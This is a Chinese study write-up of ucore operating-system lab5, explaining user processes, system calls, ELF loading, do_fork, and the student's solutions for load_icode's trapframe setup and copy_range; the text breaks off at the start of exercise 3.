0%

实验简述

  • 了解第一个用户进程创建过程
  • 了解系统调用框架的实现机制
  • 了解ucore如何实现系统调用 sys_fork,sys_exec,sys_exit,sys_wait 来进行进程管理

ucore在lab4中实现了进程/线程机制,能够创建并进行内核线程的调度,通过上下文的切换令线程分时的获得CPU,使得不同线程能够并发的运行

在lab5中需要更进一步,实现我们平常开发接触到的、运行在用户态的进程/线程机制

  • 用户线程通常用于承载和运行应用程序,为了保护操作系统内核,避免其被不够鲁棒的应用程序破坏,应用程序都运行在 低特权级 中,无法直接访问 高特权级 的内核数据结构,也无法通过程序指令直接的访问各种外设
  • 但应用程序访问高特权级数据、外设的需求是不可避免的,因此ucore在lab5中也实现了 系统调用机制 ,应用程序平常运行在用户态,在有需要时可以通过系统调用的方式间接的访问外设等受到保护的资源

在ucore lab5中,提供了一些用户态的demo应用程序,并在内核实现了诸如 fork、exit、kill、yield、wait 等等系统调用功能以及C实现的应用程序系统调用库

通过lab5的学习,可以更深入的了解操作系统中用户态应用程序的加载、运行和退出机制,以及系统调用的工作原理

系统调用

  • 系统调用是操作系统提供的一种特殊api接口,底层是通过中断实现的,应用程序调用系统中断时,其CPL特权级会被暂时的提升到ring0,因此便获得了访问外设、内核数据的能力
  • 这一提升CPL特权级从外层用户态到里层内核态的过程,也被称为陷入内核,系统调用会陷入内核,但是陷入内核的方式除了系统调用外,还包括触发保护异常等
  • 由于系统调用是操作系统的开发人员精心设计的,且对传入的参数等等有着很严格的控制,确保了系统调用不会对内核造成破坏,同时,在系统调用中断返回时,也会将其CPL特权级对应用程序透明的还原到用户态

ELF文件结构

因为后续要分析ELF文件加载到进程的过程,所以我们先了解一下ELF文件的结构(这里我们主要关注一下执行视图

值得注意的这一点是:

  • ELF头部程序头部表 是两个不同的东西
  • 前者用于描述整个 ELF 文件的信息
  • 后者是一个结构体数组,数组中的每个结构体元素是一个段表头(program header),每个程序头描述一个段(segment)

进程&文件&段

描述进程

proc_struct 结构体专门用于描述进程的状态:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct proc_struct {
enum proc_state state; // 当前进程的状态
int pid; // 进程ID
int runs; // 当前进程被调度的次数
uintptr_t kstack; // 内核栈
volatile bool need_resched; // 是否需要被调度
struct proc_struct *parent; // 父进程ID
struct mm_struct *mm; // 当前进程所管理的虚拟内存页,包括其所属的页目录项PDT
struct context context; // 保存的进程上下文,用于进程切换
struct trapframe *tf; // 中断帧指针,指向内核栈的某个位置(保存有中断上下文)
uintptr_t cr3; // 页目录表的地址
uint32_t flags; // 当前进程的相关标志
char name[PROC_NAME_LEN + 1]; // 进程名称(可执行文件名)
list_entry_t list_link; // 进程链表
list_entry_t hash_link; // 进程哈希表
int exit_code; /* lab5新增:描述线程退出时的原因 */
uint32_t wait_state; /* lab5新增:描述线程进入wait阻塞态的原因 */
struct proc_struct *cptr, *yptr, *optr; /* lab5新增:用于组织子进程链表 */
/*
lab5新增:cptr(child ptr),指针指向当前进程的子进程中,最晚创建的那个子进程
lab5新增:yptr(younger sibling ptr),指向与当前进程共享同一个父进程,但比当前进程的创建时间更晚的进程(younger)
lab5新增:optr(older sibling ptr),指向与当前进程共享同一个父进程,但比当前进程的创建时间更早的进程(older)
*/
};

描述文件

当文件加载到内存时,CPU必须要执行 load_icode 函数来把该文件加载到进程,因此,load_icode 函数必须要获取文件的相关信息

elfhdr 结构体(也被称为ELF文件头,或者文件头)专门用于描述文件的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct elfhdr {
uint32_t e_magic; // 魔数(一定是魔数ELF_MAGIC-用于表示ELF文件)
uint8_t e_elf[12];
uint16_t e_type; // 文件的类型(1=可重新定位,2=可执行,3=共享对象,4=核心镜像)
uint16_t e_machine; // 处理器型号(3=x86, 4=68K,等等)
uint32_t e_version; // 文件版本(常常是"1")
uint32_t e_entry; // 文件入口点(如果是可执行文件)
uint32_t e_phoff; // 程序头表(段头表结构体数组)的文件位置
uint32_t e_shoff; // 节头的文件位置
uint32_t e_flags; // 特定于架构的标志(通常为0)
uint16_t e_ehsize; // 这个elf头的大小
uint16_t e_phentsize; // 程序头表中条目的大小
uint16_t e_phnum; // 程序头表中的条目数
uint16_t e_shentsize; // 节头中条目的大小
uint16_t e_shnum; // 节头中的条目数
uint16_t e_shstrndx; // 包含节名字符串的节号
};

描述段

ELF文件有多个段表,每个段表都有一个用于描述信息的段表头(program header),而各个段表头又组织在程序头表中

  • proghdr:专门用来描述段信息的结构体
1
2
3
4
5
6
7
8
9
10
struct proghdr {
uint32_t p_type; // 段类型(可加载的代码或数据、动态链接信息)
uint32_t p_offset; // 段的文件偏移量
uint32_t p_va; // 映射段的虚拟地址
uint32_t p_pa; // 物理地址(未使用)
uint32_t p_filesz; // 文件中段的大小:告诉elf文件中该可调节段的实际/精确大小
uint32_t p_memsz; // 内存中段的大小(如果包含bss,则更大):内存中段的总大小
uint32_t p_flags; // 读read/写write/执行execute 位
uint32_t p_align; // 所需的对齐方式(其值始终为硬件页面大小)
};

练习0-把 lab4 的内容复制粘贴到 lab5

不过相比 lab4,lab5 新添&修改了一些内容:

  • proc_struct:进程控制块结构体(上文已经提过)

  • idt_init:对中断描述符表进行初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static inline void
lidt(struct pseudodesc *pd) {
asm volatile ("lidt (%0)" :: "r" (pd) : "memory");
}

void
idt_init(void) {
extern uintptr_t __vectors[]; /* 声明:中断入口(每一项对应于中断描述符的中断服务例程的入口地址) */
int i;
for (i = 0; i < sizeof(idt) / sizeof(struct gatedesc); i ++) {
/* 遍历IDT数组(中断描述符表),将其中的内容(中断描述符)设置进IDT中断描述符表中(默认的DPL特权级(描述符特权级)都是内核态DPL_KERNEL-0) */
SETGATE(idt[i], 0, GD_KTEXT, __vectors[i], DPL_KERNEL);
}
SETGATE(idt[T_SYSCALL], 1, GD_KTEXT, __vectors[T_SYSCALL], DPL_USER);
/* lab5新增:为T_SYSCALL(系统调用的中断描述符)设置用户态权限(DPL_USER) */
lidt(&idt_pd); /* IDT */
}
  • trap_dispatch:实现中断处理分发逻辑,也实现了对应的中断服务例程(用于处理T_SYSCALL系统调用中断)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#define T_PGFLT                 14  /* 页错误异常(page fault) */

#define IRQ_OFFSET 32 // 中断请求偏移(Interrupt Request,IRQ)
#define IRQ_TIMER 0 // 中断请求-计时器中断
#define IRQ_KBD 1 // 中断请求-键盘中断
#define IRQ_COM1 4 // 中断请求-串口中断
#define IRQ_IDE1 14 // 中断请求-IDE通道1中断
#define IRQ_IDE2 15 // 中断请求-IDE通道2中断
#define IRQ_ERROR 19
#define IRQ_SPURIOUS 31

#define T_SYSCALL 0x80 /* 系统调用(syscall) */

#define T_SWITCH_TOU 120 /* 中断请求-内核到用户空间触发的中断 */
#define T_SWITCH_TOK 121 /* 中断请求-用户空间到内核触发的中断 */

static void
trap_dispatch(struct trapframe *tf) {
/* 根据trapframe中断帧中的标志位,来执行具体的中断服务历程 */
char c;
int ret=0;
switch (tf->tf_trapno) {
case T_PGFLT: /* 页错误异常(page fault) */
if ((ret = pgfault_handler(tf)) != 0) {
print_trapframe(tf);
/* lab5新增:与进程相关的if判断语句 */
if (current == NULL) {
panic("handle pgfault failed. ret=%d\n", ret);
}
else {
if (trap_in_kernel(tf)) {
panic("handle pgfault failed in kernel mode. ret=%d\n", ret);
}
cprintf("killed by kernel.\n");
panic("handle user mode pgfault failed. ret=%d\n", ret);
do_exit(-E_KILLED);
}
}
break;
case T_SYSCALL: /* 系统调用(syscall) */
syscall();
break;
case IRQ_OFFSET + IRQ_TIMER: /* 中断请求-计时器中断 */
#if 0
LAB3 : If some page replacement algorithm(such as CLOCK PRA) need tick to change the priority of pages,
then you can add code here.
#endif
ticks ++; /* lab5新增:用于记录"中断请求-计时器中断"执行的次数 */
if (ticks % TICK_NUM == 0) { /* 当前进程的时间片已用完,需要重新调度 */
assert(current != NULL);
current->need_resched = 1; /* 设置需要重新调度 */
}
break;
case IRQ_OFFSET + IRQ_COM1: /* 中断请求-串口中断 */
c = cons_getc();
cprintf("serial [%03d] %c\n", c, c);
break;
case IRQ_OFFSET + IRQ_KBD: /* 中断请求-键盘中断 */
c = cons_getc();
cprintf("kbd [%03d] %c\n", c, c);
break;
case T_SWITCH_TOU: /* 中断请求-内核到用户空间触发的中断 */
case T_SWITCH_TOK: /* 中断请求-用户空间到内核触发的中断 */
panic("T_SWITCH_** ??\n");
break;
case IRQ_OFFSET + IRQ_IDE1: /* 中断请求-IDE通道1中断 */
case IRQ_OFFSET + IRQ_IDE2: /* 中断请求-IDE通道2中断 */
/* 本实验不涉及这一部分 */
break;
default:
/* lab5改动:完善了报错处理 */
print_trapframe(tf); /* 打印trapframe结构体(中断帧,用于存储执行中断的信息) */
if (current != NULL) {
cprintf("unhandled trap.\n");
do_exit(-E_KILLED);
}
panic("unexpected trap in kernel.\n");
}
}
  • alloc_proc:分配一个 proc_struct,用于描述进程的信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static struct proc_struct *
alloc_proc(void) {
struct proc_struct *proc = kmalloc(sizeof(struct proc_struct)); /* 进行分配 */
if (proc != NULL) { /* 对相关proc_struct结构体条目进行初始化 */
proc->state = PROC_UNINIT;
proc->pid = -1;
proc->runs = 0;
proc->kstack = 0;
proc->need_resched = 0;
proc->parent = NULL;
proc->mm = NULL;
memset(&(proc->context), 0, sizeof(struct context));
proc->tf = NULL;
proc->cr3 = boot_cr3;
proc->flags = 0;
memset(proc->name, 0, PROC_NAME_LEN);
proc->wait_state = 0; /* lab5新增:设置进程为等待态 */
proc->cptr = proc->optr = proc->yptr = NULL; /* lab5新增:进程的兄弟父母节点为空 */
}
return proc;
}
  • do_fork:创建当前内核线程的一个副本,它们的执行上下文、代码、数据都一样,但是存储位置不同,在这个过程中,需要给新内核线程分配资源,并且复制原进程的状态
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int
do_fork(uint32_t clone_flags, uintptr_t stack, struct trapframe *tf) {
int ret = -E_NO_FREE_PROC;
struct proc_struct *proc;
if (nr_process >= MAX_PROCESS) {
goto fork_out;
}
ret = -E_NO_MEM;
if ((proc = alloc_proc()) == NULL) { /* 分配一个物理页,作为proc_struct */
goto fork_out;
}

proc->parent = current; /* 设置父进程为当前进程 */
assert(current->wait_state == 0); /* lab5新增:断言进程为等待态 */

if (setup_kstack(proc) != 0) { /* 分配内核栈 */
goto bad_fork_cleanup_proc;
}
if (copy_mm(clone_flags, proc) != 0) { /* 将所有虚拟页数据复制过去 */
goto bad_fork_cleanup_kstack;
}
copy_thread(proc, stack, tf); /* 复制线程的状态,包括寄存器上下文等等 */

bool intr_flag;
local_intr_save(intr_flag); /* 阻塞中断 */
{
proc->pid = get_pid(); /* 为进程分配唯一的PID */
hash_proc(proc); /* 将proc添加到进程哈希链表中 */
set_links(proc); /* lab5改动:取消list_add,采用set_links */
}
local_intr_restore(intr_flag); /* 解除中断的阻塞 */
wakeup_proc(proc); /* 设置新的子进程可执行(唤醒该进程) */
ret = proc->pid; /* 设置返回值为pid */

fork_out:
return ret;

bad_fork_cleanup_kstack:
put_kstack(proc);
bad_fork_cleanup_proc:
kfree(proc);
goto fork_out;
}

static void /* lab5新增:set_links就是在list_add的基础上,对部分proc_struct条目进行了初始化 */
set_links(struct proc_struct *proc) {
list_add(&proc_list, &(proc->list_link)); /* 照常插链 */
proc->yptr = NULL; /* 后续对进程结构体proc_struct进行设置 */
if ((proc->optr = proc->parent->cptr) != NULL) {
proc->optr->yptr = proc; /* 链入子进程链表 */
}
proc->parent->cptr = proc;
nr_process ++;
}

练习1-加载应用程序并执行

do_execv 函数调用 load_icode 来加载并解析一个处于内存中的ELF执行文件格式的应用程序

load_icode 函数主要用来将执行程序加载到进程空间(执行程序本身已从磁盘读取到内存中),这涉及到修改页表、分配用户栈等工作

load_icode 已知代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#define ELF_PT_LOAD                     1

static int
load_icode(unsigned char *binary, size_t size) {
// binary:"已经加载到内存中的文件"的头文件(ELF格式)
// size:"已经加载到内存中的文件"的大小

if (current->mm != NULL) { /* 检查当前进程是否为NULL */
panic("load_icode: current->mm must be empty.\n");
}

int ret = -E_NO_MEM;
struct mm_struct *mm; /* mm_struct结构体:用于描述虚拟内存区域(vma)的各种信息 */
if ((mm = mm_create()) == NULL) { /* 创建一片虚拟内存 */
goto bad_mm; /* 创建失败,直接返回 */
}
if (setup_pgdir(mm) != 0) { /* 新建一个页目录表,每个进程都需要一个页目录表 */
goto bad_pgdir_cleanup_mm; /* 创建失败,执行mm_destroy */
}

struct Page *page;
struct elfhdr *elf = (struct elfhdr *)binary; /* 获取的二进制文件的文件头 */
struct proghdr *ph = (struct proghdr *)(binary + elf->e_phoff); /* 获取二进制文件的程序头表入口 */

if (elf->e_magic != ELF_MAGIC) { /* 检查该程序的魔数是否正确 */
ret = -E_INVAL_ELF;
goto bad_elf_cleanup_pgdir;
}

/* <---- 遍历程序头表,并构建vma ----> */

uint32_t vm_flags, perm;
struct proghdr *ph_end = ph + elf->e_phnum;
/* ph_end:计算出程序头表的结尾地址 */
/* elf->e_phnum:程序头表中的条目数 */
for (; ph < ph_end; ph ++) { /* 遍历整个程序头表(ph就是各个段头表) */
if (ph->p_type != ELF_PT_LOAD) {
/* 遍历寻找到ELF_PT_LOAD为止,在ucore中,该段是TEXT/DATA */
continue ;
}
if (ph->p_filesz > ph->p_memsz) {
/* 文件中段的大小 > 内存中段的大小 */
/* 内存中p_memsz大于p_filesz的原因是,可加载段可能包含一个.bss部分,没有此部分则是等于状态,绝对不可能是小于状态 */
ret = -E_INVAL_ELF;
goto bad_cleanup_mmap; /* 调用exit_mmap */
}
if (ph->p_filesz == 0) {
continue ;
}

/* <---- 根据标志位进行初始化,准备构建vma ----> */

vm_flags = 0, perm = PTE_U;
if (ph->p_flags & ELF_PF_X) vm_flags |= VM_EXEC;
if (ph->p_flags & ELF_PF_W) vm_flags |= VM_WRITE;
if (ph->p_flags & ELF_PF_R) vm_flags |= VM_READ;
if (vm_flags & VM_WRITE) perm |= PTE_W;
if ((ret = mm_map(mm, ph->p_va, ph->p_memsz, vm_flags, NULL)) != 0) {
/* 调用mm_map,为目标段构建新的vma */
goto bad_cleanup_mmap; /* 调用exit_mmap */
}

/* <---- 建立并分配页目录表,复制TEXT/DATA段到进程的内存(建立映射) ----> */

unsigned char *from = binary + ph->p_offset; /* 获取TEXT/DATA的段地址 */
size_t off, size;
uintptr_t start = ph->p_va, end, la = ROUNDDOWN(start, PGSIZE);
/* start:初始化为段起始地址(映射段的虚拟地址) */
/* la(可变参数):start进行内存页对齐后(只舍不进)的地址 */

ret = -E_NO_MEM;
end = ph->p_va + ph->p_filesz;
/* end:初始化为段结束地址(映射段的虚拟地址+文件中段的大小) */

while (start < end) { /* 持续为pgdir分配页表,直到整个段都完成映射 */
if ((page = pgdir_alloc_page(mm->pgdir, la, perm)) == NULL) {
/* 分配一块物理页(作为页表),设置页表项(对应la),插入页表目录(pgdir) */
goto bad_cleanup_mmap; /* 调用exit_mmap */
}
off = start - la; /* 更新偏移 */
/* 第一次: off='start为了页对齐而舍弃的数值'(正) */
/* 后续: off='0' */
size = PGSIZE - off; /* 更新已分配的段大小(每次增加PGSIZE) */
la += PGSIZE; /* 更新当前的物理地址(每次增加PGSIZE) */

if (end < la) {
size -= la - end; /* 获取准确的段大小 */
}
memcpy(page2kva(page) + off, from, size);
/* 获取页目录表的虚拟地址,通过off计算出对应页目录表项,用memcpy在其中填入from(TEXT/DATA段的起始地址) */
start += size;
from += size;
/* 第一次: start增加的值比la小一些 */
/* 后续: start和la都增加相同的值(PGSIZE),并且地址也相同 */
}

/* <---- 分配内存,建立并分配页目录表,建立BSS段(建立映射) ----> */

end = ph->p_va + ph->p_memsz; /* end:初始化为段结束地址(映射段的虚拟地址+内存中段的大小) */
if (start < la) { /* start最后会小于等于la,以下代码就是为了当"start<la"时,实现"start=la",并且置空原start距新start多出的部分 */
if (start == end) {
continue ;
}
off = start + PGSIZE - la, size = PGSIZE - off;
if (end < la) {
size -= la - end;
}
memset(page2kva(page) + off, 0, size);
/* 获取页目录表的虚拟地址,通过off计算出对应页目录表项,并使用memset置空 */
start += size;
assert((end < la && start == end) || (end >= la && start == la));
}
while (start < end) { /* 持续为pgdir分配页表,直到整个段都完成映射 */
if ((page = pgdir_alloc_page(mm->pgdir, la, perm)) == NULL) {
goto bad_cleanup_mmap; /* 调用exit_mmap */
}
off = start - la, size = PGSIZE - off, la += PGSIZE;
if (end < la) {
size -= la - end;
}
memset(page2kva(page) + off, 0, size);
/* 获取页目录表的虚拟地址,通过off计算出对应页目录表项,并使用memset置空 */
start += size;
}
}

/* <---- 构建用户堆栈内存 ----> */

vm_flags = VM_READ | VM_WRITE | VM_STACK;
if ((ret = mm_map(mm, USTACKTOP - USTACKSIZE, USTACKSIZE, vm_flags, NULL)) != 0) {
goto bad_cleanup_mmap; /* 调用exit_mmap */
}
assert(pgdir_alloc_page(mm->pgdir, USTACKTOP-PGSIZE , PTE_USER) != NULL);
assert(pgdir_alloc_page(mm->pgdir, USTACKTOP-2*PGSIZE , PTE_USER) != NULL);
assert(pgdir_alloc_page(mm->pgdir, USTACKTOP-3*PGSIZE , PTE_USER) != NULL);
assert(pgdir_alloc_page(mm->pgdir, USTACKTOP-4*PGSIZE , PTE_USER) != NULL);

/* <---- 设置当前进程的mm,sr3,设置CR3寄存器 ----> */

mm_count_inc(mm); /* 设置并返回"共享该虚拟内存空间mva的进程数" */
current->mm = mm; /* 设置当前进程的"proc_struct->mm"为该虚拟内存空间mva */
current->cr3 = PADDR(mm->pgdir); /* 设置当前进程的"proc_struct->cr3"为该页目录表的地址 */
lcr3(PADDR(mm->pgdir)); /* 设置CR3寄存器为当前页目录表的物理地址 */

/* <---- 为用户环境设置trapframe ----> */

struct trapframe *tf = current->tf;
memset(tf, 0, sizeof(struct trapframe)); /* 把trapframe清零 */

/* <---- lab start ----> */

/* LAB5:EXERCISE1 YOUR CODE
* should set tf_cs,tf_ds,tf_es,tf_ss,tf_esp,tf_eip,tf_eflags
* NOTICE: If we set trapframe correctly, then the user level process can return to USER MODE from kernel. So
* tf_cs should be USER_CS segment (see memlayout.h)
* tf_ds=tf_es=tf_ss should be USER_DS segment
* tf_esp should be the top addr of user stack (USTACKTOP)
* tf_eip should be the entry point of this binary program (elf->e_entry)
* tf_eflags should be set to enable computer to produce Interrupt
*/

/* <---- lab end ----> */

ret = 0;
out:
return ret;
bad_cleanup_mmap:
exit_mmap(mm);
bad_elf_cleanup_pgdir:
put_pgdir(mm);
bad_pgdir_cleanup_mm:
mm_destroy(mm);
bad_mm:
goto out; /* 直接返回 */
}

其他函数的代码:

  • mm_create:创建一片虚拟内存,完成各个条目的初始化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
struct mm_struct {
list_entry_t mmap_list; /* 按vma的起始地址排序的线性列表链接(vma链表) */
struct vma_struct *mmap_cache; /* 当前访问的vma,用于速度目的 */
pde_t *pgdir; /* 这些vma的PDT(页目录表) */
int map_count; /* 这些vma的计数 */
void *sm_priv; /* 用于指向swap manager的某个链表 */
int mm_count; /* 共享mm的进程数 */
lock_t mm_lock; /* 关于锁的标记 */
};

struct mm_struct *
mm_create(void) {
struct mm_struct *mm = kmalloc(sizeof(struct mm_struct)); /* 申请物理内存 */

if (mm != NULL) {
list_init(&(mm->mmap_list)); /* vma链表初始化 */
mm->mmap_cache = NULL;
mm->pgdir = NULL;
mm->map_count = 0;

if (swap_init_ok) swap_init_mm(mm); /* 如果swap_manager程序初始化完毕,就对mm进行swap初始化 */
else mm->sm_priv = NULL; /* 否则禁用swap链表(可交换的已分配物理页链表) */

set_mm_count(mm, 0); /* 设置共享进程的数目为0 */
lock_init(&(mm->mm_lock)); /* 初始化锁 */
}
return mm;
}

static inline void
list_init(list_entry_t *elm) {
elm->prev = elm->next = elm; /* 把prev和next都设置为它自己 */
}

static inline void
set_mm_count(struct mm_struct *mm, int val) {
mm->mm_count = val; /* 设置共享进程的数目为val */
}

static inline void
lock_init(lock_t *lock) {
*lock = 0; /* 初始化锁 */
}
  • mm_destroy:遍历并释放 vma 链表中的所有 vma,最后释放 mm
1
2
3
4
5
6
7
8
9
10
11
12
void
mm_destroy(struct mm_struct *mm) {
assert(mm_count(mm) == 0);

list_entry_t *list = &(mm->mmap_list), *le;
while ((le = list_next(list)) != list) { /* 遍历并释放vma链表中的所有vma */
list_del(le);
kfree(le2vma(le, list_link));
}
kfree(mm);
mm=NULL;
}
  • setup_pgdir:申请一个页目录表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#define PGSHIFT         12      		 // 1<<12=4096(一页的大小)
struct Page *pages; // 页目录表首地址
pde_t *boot_pgdir = &__boot_pgdir; // 这里的boot_pgdir可能是所有pgdir的模板

struct Page {
int ref; // 当前页被引用的次数,与内存共享有关
uint32_t flags; // 标志位的集合,与eflags寄存器类似
unsigned int property; // 空闲的连续page数量,这个成员只会用在连续空闲page中的第一个page
list_entry_t page_link; // 两个分别指向上一个和下一个非连续空闲页的两个指针
list_entry_t pra_page_link; // 用于连接上一个和下一个"可交换已分配"的物理页
uintptr_t pra_vaddr; // 用于保存该物理页所对应的虚拟地址
};

static int
setup_pgdir(struct mm_struct *mm) {
struct Page *page;
if ((page = alloc_page()) == NULL) { /* 分配物理页,作为页目录表 */
return -E_NO_MEM;
}
pde_t *pgdir = page2kva(page); /* 获取页目录表的虚拟地址 */
memcpy(pgdir, boot_pgdir, PGSIZE); /* 把boot_pgdir拷贝到pgdir(这里两边都是虚拟地址,C语言的'&'符号用于获取虚拟地址) */
pgdir[PDX(VPT)] = PADDR(pgdir) | PTE_P | PTE_W; /* PADDR转为物理地址后装入对应的页目录表项 */
mm->pgdir = pgdir; /* 更新mm_struct结构体中的pgdir条目 */
return 0;
}

static inline ppn_t
page2ppn(struct Page *page) {
return page - pages; /* 获取对应page管理的那一页的索引(物理地址偏移) */
/* 其中pages可以认为是存储所有struct Page的首地址(页目录表) */
}

static inline uintptr_t
page2pa(struct Page *page) {
return page2ppn(page) << PGSHIFT; /* 得到"page2ppn(page)"的物理地址 */
}

static inline void *
page2kva(struct Page *page) {
return KADDR(page2pa(page)); /* 返回物理地址"page2pa(page)"对应的虚拟地址 */
}
  • mm_count_inc:设置并返回“共享该虚拟内存空间mva的进程数”
1
2
3
4
5
static inline int
mm_count_inc(struct mm_struct *mm) {
mm->mm_count += 1; /* 共享该虚拟内存空间mva的进程数增加 */
return mm->mm_count;
}

本实验的目的就是叫我们完善 load_icode 函数,代码很长很复杂,不过我都解析完了,可以参考上面的注释

其实 load_icode 函数就只有一个地方没有完成了:为用户环境设置 trapframe

下面是实现代码:(根据提示初始化几个数值就可以了)

1
2
3
4
5
6
7
8
struct trapframe *tf = current->tf; /* 构建中断帧 */
memset(tf, 0, sizeof(struct trapframe)); /* 初始化置空为'0' */
tf->tf_cs = USER_CS;
tf->tf_ds = tf->tf_es = tf->tf_ss = USER_DS;
tf->tf_esp = USTACKTOP;
tf->tf_eip = elf->e_entry;
tf->tf_eflags = FL_IF;
ret = 0;

练习2-父进程复制自己的内存空间给子进程

创建子进程的函数 do_fork 在执行中将拷贝当前进程(即父进程)的用户内存地址空间中的合法内容到新进程中(子进程),完成内存资源的复制,具体是通过 copy_range 函数实现的,请补充 copy_range 的实现,确保能够正确执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int /* 将一个进程A的内存内容(start,end)复制到另一个进程B */
copy_range(pde_t *to, pde_t *from, uintptr_t start, uintptr_t end, bool share) {
// to:进程B(子进程)页面目录的地址
// from:进程A(父进程)页面目录的地址
// start:需要复制的复制起始地址
// end:需要复制的结束地址
// share:指示dup或share的标志(我们只是使用dup方法,所以没有使用)

assert(start % PGSIZE == 0 && end % PGSIZE == 0); /* 断言start和end已经对齐 */
assert(USER_ACCESS(start, end)); /* 断言start和end在合理的范围 */
do {
pte_t *ptep = get_pte(from, start, 0), *nptep;
/* 找到进程A的二级页表项的虚拟地址 */
if (ptep == NULL) { /* 如果没有找到,则跳转下一页继续 */
start = ROUNDDOWN(start + PTSIZE, PTSIZE);
continue ;
}
if (*ptep & PTE_P) { /* 表示物理内存页存在 */
if ((nptep = get_pte(to, start, 1)) == NULL) {
/* 找到进程B的二级页表项的虚拟地址 */
return -E_NO_MEM;
}
uint32_t perm = (*ptep & PTE_USER); /* 标记用户状态,获取对应的物理地址 */
struct Page *page = pte2page(*ptep); /* 根据二级页表项获取一张物理页 */
struct Page *npage= alloc_page(); /* 分配一张物理页 */
assert(page!=NULL);
assert(npage!=NULL);
int ret=0;

/* <---- lab start ----> */

/* LAB5:EXERCISE2 YOUR CODE
* replicate content of page to npage, build the map of phy addr of nage with the linear addr start
*
* Some Useful MACROs and DEFINEs, you can use them in below implementation.
* MACROs or Functions:
* page2kva(struct Page *page): return the kernel vritual addr of memory which page managed (SEE pmm.h)
* page_insert: build the map of phy addr of an Page with the linear addr la
* memcpy: typical memory copy function
*
* (1) find src_kvaddr: the kernel virtual address of page
* (2) find dst_kvaddr: the kernel virtual address of npage
* (3) memory copy from src_kvaddr to dst_kvaddr, size is PGSIZE
* (4) build the map of phy addr of nage with the linear addr start
*/

/* <---- lab end ----> */

assert(ret == 0);
}
start += PGSIZE; /* 更新start,继续参与循环 */
} while (start != 0 && start < end);
return 0;
}
  • copy_range 函数的目的是把A进程(from,父进程)的内存资源,拷贝到B进程(to,子进程)
  • 它选择在循环中,以页为单位对进程内容进行复制(和 load_icode 建立段映射的逻辑很像)
  • 复制需要使用 memcpy ,而这个函数需要虚拟地址,程序已经获取了对应的物理页地址,所以我们只需要调用 page2kva 即可
  • 最后需要把已经复制完成的物理页添加到对应的页目录表项中,需要调用 page_insert ,而它的参数我们都已知

具体实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int /* 将一个进程A的内存内容(start,end)复制到另一个进程B */
copy_range(pde_t *to, pde_t *from, uintptr_t start, uintptr_t end, bool share) {

assert(start % PGSIZE == 0 && end % PGSIZE == 0); /* 断言start和end已经对齐 */
assert(USER_ACCESS(start, end)); /* 断言start和end在合理的范围 */
do {
pte_t *ptep = get_pte(from, start, 0), *nptep;
/* 找到进程A的二级页表项的虚拟地址 */
if (ptep == NULL) { /* 如果没有找到,则跳转下一页继续 */
start = ROUNDDOWN(start + PTSIZE, PTSIZE);
continue ;
}
if (*ptep & PTE_P) { /* 表示物理内存页存在 */
if ((nptep = get_pte(to, start, 1)) == NULL) {
/* 创建进程B的二级页表项,并返回其虚拟地址 */
return -E_NO_MEM;
}
uint32_t perm = (*ptep & PTE_USER); /* 标记用户状态,获取对应的权限 */
struct Page *page = pte2page(*ptep); /* 根据二级页表项获取一张物理页 */
struct Page *npage= alloc_page(); /* 分配一张物理页 */
assert(page!=NULL);
assert(npage!=NULL);
int ret=0;

/* <---- lab start ----> */

void * kva_src = page2kva(page); /* 获取源页面所在的虚拟地址 */
void * kva_dst = page2kva(npage); /* 获取目标页面所在的虚拟地址 */
memcpy(kva_dst, kva_src, PGSIZE); /* 页面数据复制 */
ret = page_insert(to, npage, start, perm); /* 将该页面设置至对应的PTE中 */

/* <---- lab end ----> */

assert(ret == 0);
}
start += PGSIZE; /* 更新start,继续参与循环 */
} while (start != 0 && start < end);
return 0;
}

练习3-理解 fork/exec/wait/exit/syscall 的实现

  • do_fork:创建当前内核线程的一个副本
    • 它们的执行上下文、代码、数据都一样,但是存储位置不同,在这个过程中,需要给新内核线程分配资源,并且复制原进程的状态(已经实现)
    • 这个函数我们已经实现了,详情可以看前面代码
  • do_execve:可执行程序的加载和运行
    • 检查当前进程所分配的内存区域是否存在异常
    • 回收当前进程的所有资源,包括已分配的内存空间/页目录表等等
    • 读取可执行文件,并根据 ELFheader 分配特定位置的虚拟内存,并加载代码与数据至特定的内存地址,最后分配堆栈并设置 trapframe 属性
    • 设置新进程名称
    • do_execve 本身完成的这4步操作都是一些简单的“边角料”,真正核心且复杂的 load_icode 在前面已经分析过了
1
2
3
4
5
6
7
8
9
